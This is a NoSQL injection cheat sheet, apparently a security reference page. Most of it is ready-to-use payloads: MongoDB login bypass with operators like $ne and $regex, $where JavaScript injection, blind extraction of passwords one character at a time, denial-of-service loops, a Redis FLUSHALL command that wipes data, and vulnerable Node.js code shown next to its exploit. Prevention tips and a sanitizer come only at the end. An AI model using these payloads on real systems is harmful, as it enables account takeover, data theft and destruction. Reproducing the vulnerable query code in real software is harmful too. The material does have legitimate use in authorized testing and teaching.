Skip to content

NoSQL Injection Payloads

NoSQL Injection is a vulnerability that allows attackers to inject malicious code into NoSQL database queries. It primarily affects MongoDB, CouchDB, Redis, and other NoSQL databases that use JSON-like query syntax.

MongoDB Injection

Basic Operators

$eq - Equal
$ne - Not equal
$gt - Greater than
$gte - Greater than or equal
$lt - Less than
$lte - Less than or equal
$in - In array
$nin - Not in array
$regex - Regular expression
$where - JavaScript expression
$or - Logical OR
$and - Logical AND

Authentication Bypass

Using $ne (Not Equal)

JSON Payloads: 

{"username": "admin", "password": {"$ne": null}}
{"username": "admin", "password": {"$ne": ""}}
{"username": "admin", "password": {"$ne": "randomstring"}}
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "nonexistent"}, "password": {"$ne": "nonexistent"}}

URL-encoded: 

username=admin&password[$ne]=randomstring
username[$ne]=&password[$ne]=
username[$ne]=nonexistent&password[$ne]=nonexistent

Using $gt (Greater Than)

JSON Payloads: 

{"username": "admin", "password": {"$gt": ""}}
{"username": {"$gt": ""}, "password": {"$gt": ""}}

URL-encoded: 

username=admin&password[$gt]=
username[$gt]=&password[$gt]=

Using $regex (Regular Expression)

JSON Payloads: 

{"username": {"$regex": "admin.*"}, "password": {"$ne": ""}}
{"username": {"$regex": "^admin"}, "password": {"$gt": ""}}
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}

URL-encoded: 

username[$regex]=admin.*&password[$ne]=
username[$regex]=^admin&password[$gt]=

Using $or

JSON Payloads: 

{"$or": [{"username": "admin"}, {"password": "any"}]}
{"$or": [{"username": {"$ne": ""}}, {"password": {"$ne": ""}}]}

Using $in

JSON Payloads: 

{"username": {"$in": ["admin", "administrator", "root"]}, "password": {"$ne": ""}}
{"username": "admin", "password": {"$in": ["", "password", "admin", "123456"]}}

Operator Injection

Extract Data with $where

JSON Payloads: 

{"username": "admin", "$where": "this.password.length > 0"}
{"username": "admin", "$where": "this.password.match(/^a.*/i)"}
{"username": "admin", "$where": "this.password[0] == 'a'"}

Time-Based Blind Injection

JSON Payloads: 

{"$where": "sleep(5000)"}
{"$where": "if (this.username == 'admin') { sleep(5000); return true; }"}
{"username": "admin", "$where": "if (this.password[0] == 'a') { sleep(5000); return true; }"}

Boolean-Based Blind Injection

{"username": "admin", "$where": "this.password.startsWith('a')"}
{"username": "admin", "$where": "this.password.substring(0,1) == 'a'"}
{"username": "admin", "$where": "this.password.length == 8"}

JavaScript Injection

Using $where with JavaScript

{"$where": "this.username == 'admin' || '1'=='1'"}
{"$where": "1==1"}
{"$where": "return true"}

Code Execution via $where

{"$where": "var date=new Date(); do{curDate = new Date();}while(curDate-date<10000); return true;"}
{"$where": "sleep(5000) || true"}

Extract Data Character by Character

{"$where": "this.password.charAt(0) == 'a'"}
{"$where": "this.password.charCodeAt(0) == 97"}
{"$where": "this.password.substr(0,1) == 'a'"}

Blind NoSQL Injection

Extracting Username Length

{"username": {"$regex": "^.{1}$"}, "password": {"$ne": ""}}
{"username": {"$regex": "^.{5}$"}, "password": {"$ne": ""}}
{"username": {"$regex": "^admin$"}, "password": {"$ne": ""}}

Character-by-Character Extraction

{"username": {"$regex": "^a"}, "password": {"$ne": ""}}
{"username": {"$regex": "^ad"}, "password": {"$ne": ""}}
{"username": {"$regex": "^adm"}, "password": {"$ne": ""}}
{"username": {"$regex": "^admin"}, "password": {"$ne": ""}}

Using Boolean Responses

{"username": "admin", "$where": "this.password.startsWith('a')"}
{"username": "admin", "$where": "this.password.startsWith('ab')"}
{"username": "admin", "$where": "this.password.startsWith('abc')"}

Other NoSQL Databases

CouchDB

{"selector": {"_id": {"$gt": null}}}
{"selector": {"username": "admin", "password": {"$gt": ""}}}

Redis

# Command injection if user input is used in commands
*
*1
FLUSHALL
GET *

Cassandra

' OR '1'='1
' OR username='admin'--

Advanced Techniques

NoSQL Injection in APIs

GraphQL: 

query {
  user(username: "admin", password: {$ne: ""}) {
    id
    username
    email
  }
}

REST API: 

POST /api/login
{
  "username": "admin",
  "password": {"$ne": ""}
}

Array Injection

{"username": ["admin"], "password": ["password"]}
{"username": {"$in": ["admin", "root"]}, "password": {"$ne": ""}}

Type Confusion

{"username": "admin", "password": true}
{"username": "admin", "password": {"$type": 2}}

Denial of Service

{"$where": "while(true){}"}
{"$where": "sleep(999999)"}
{"username": {"$regex": "^.*(.*)(.*)(.*)(.*)(.*)(.*)(.*)(.*)(.*)$"}}

Example Attack Scenarios

Scenario 1: Login Bypass

Vulnerable Code: 

const user = await User.findOne({
  username: req.body.username,
  password: req.body.password
});

Attack Payload: 

{
  "username": "admin",
  "password": {"$ne": ""}
}

Scenario 2: Data Extraction

Vulnerable Code: 

const query = {
  username: req.params.username,
  ...req.query
};
const user = await User.findOne(query);

Attack: 

GET /api/user/admin?password[$regex]=^a
GET /api/user/admin?password[$regex]=^ab

Scenario 3: JavaScript Injection

Vulnerable Code: 

const users = await User.find({
  $where: `this.username === '${req.body.username}'`
});

Attack Payload: 

{
  "username": "admin' || '1'=='1"
}

Prevention Best Practices

  1. Sanitize Input: Remove or escape operator characters
  2. Use Schema Validation: Enforce strict data types
  3. Whitelist Operators: Only allow specific operators
  4. Disable $where: Avoid using $where with user input
  5. Use Parameterized Queries: When available
  6. Validate Types: Ensure inputs match expected types
  7. Least Privilege: Limit database user permissions

Sanitization Example (Node.js)

function sanitize(input) {
  if (typeof input !== 'object') return input;

  for (let key in input) {
    if (key.startsWith('$')) {
      delete input[key];
    }
  }
  return input;
}

// Usage
const username = sanitize(req.body.username);
const password = sanitize(req.body.password);

Using Mongoose Schema Validation

const userSchema = new mongoose.Schema({
  username: { type: String, required: true },
  password: { type: String, required: true }
});

Testing Tools

  • NoSQLMap - Automated NoSQL injection tool
  • Burp Suite - Manual testing
  • nosqli - NoSQL injection CLI tool
  • OWASP ZAP - Web security scanner

⚠️ Warning: These payloads are for educational and authorized security testing purposes only. Unauthorized use is illegal.